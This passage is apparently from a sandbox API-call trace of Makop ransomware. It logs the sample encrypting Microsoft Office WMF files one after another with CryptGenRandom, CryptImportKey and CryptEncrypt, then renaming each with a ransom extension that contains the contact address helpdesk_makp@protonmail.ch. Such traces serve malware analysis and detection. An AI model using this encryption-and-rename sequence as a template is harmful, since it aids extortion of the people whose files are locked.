liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.172] SetEndOfFile (hFile=0x130) returned 1 [0166.178] GetProcessHeap () returned 0x48a0000 [0166.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.178] GetProcessHeap () returned 0x48a0000 [0166.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.179] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.180] CloseHandle (hObject=0x130) returned 1 [0166.180] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0166.180] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF") returned 70 [0166.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.183] GetProcessHeap () returned 0x48a0000 [0166.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.183] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.183] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.187] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.187] GetProcessHeap () returned 0x48a0000 [0166.187] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.187] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.188] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.188] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.188] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.188] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.188] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.189] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.189] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.189] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.189] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x704, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x704, lpOverlapped=0x0) returned 1 [0166.189] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x710, dwBufLen=0x710 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x710) returned 1 [0166.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.189] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x710, lpOverlapped=0x0) returned 1 [0166.190] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.190] SetEndOfFile (hFile=0x130) returned 1 [0166.197] GetProcessHeap () returned 0x48a0000 [0166.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.197] GetProcessHeap () returned 0x48a0000 [0166.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.197] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.199] CloseHandle (hObject=0x130) returned 1 [0166.199] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0166.199] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF") returned 70 [0166.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.201] GetProcessHeap () returned 0x48a0000 [0166.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.201] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.201] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.205] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.205] GetProcessHeap () returned 0x48a0000 [0166.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.205] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.206] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.206] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.206] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.206] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.206] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.206] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.207] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.207] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.207] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7fc, lpOverlapped=0x0) returned 1 [0166.207] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x800, dwBufLen=0x800 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x800) returned 1 [0166.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.207] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x800, lpOverlapped=0x0) returned 1 [0166.207] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.208] SetEndOfFile (hFile=0x130) returned 1 [0166.214] GetProcessHeap () returned 0x48a0000 [0166.214] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.214] GetProcessHeap () returned 0x48a0000 [0166.214] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.214] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.247] CloseHandle (hObject=0x130) returned 1 [0166.247] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0166.247] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF") returned 70 [0166.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.249] GetProcessHeap () returned 0x48a0000 [0166.249] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.249] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.249] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.253] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.253] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.253] GetProcessHeap () returned 0x48a0000 [0166.253] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.253] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.253] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.253] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.254] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.254] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.254] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.254] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.254] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.255] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.255] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6a4, lpOverlapped=0x0) returned 1 [0166.255] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0) returned 1 [0166.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.255] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6b0, lpOverlapped=0x0) returned 1 [0166.255] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.255] SetEndOfFile (hFile=0x130) returned 1 [0166.261] GetProcessHeap () returned 0x48a0000 [0166.261] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.261] GetProcessHeap () returned 0x48a0000 [0166.261] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.262] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.264] CloseHandle (hObject=0x130) returned 1 [0166.264] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0166.264] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF") returned 70 [0166.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.266] GetProcessHeap () returned 0x48a0000 [0166.266] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.266] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.266] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0166.271] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.271] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.271] GetProcessHeap () returned 0x48a0000 [0166.271] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.271] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.271] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.271] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.271] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.272] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.272] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.272] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.272] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.272] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.273] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x726, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x726, lpOverlapped=0x0) returned 1 [0166.273] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x730, 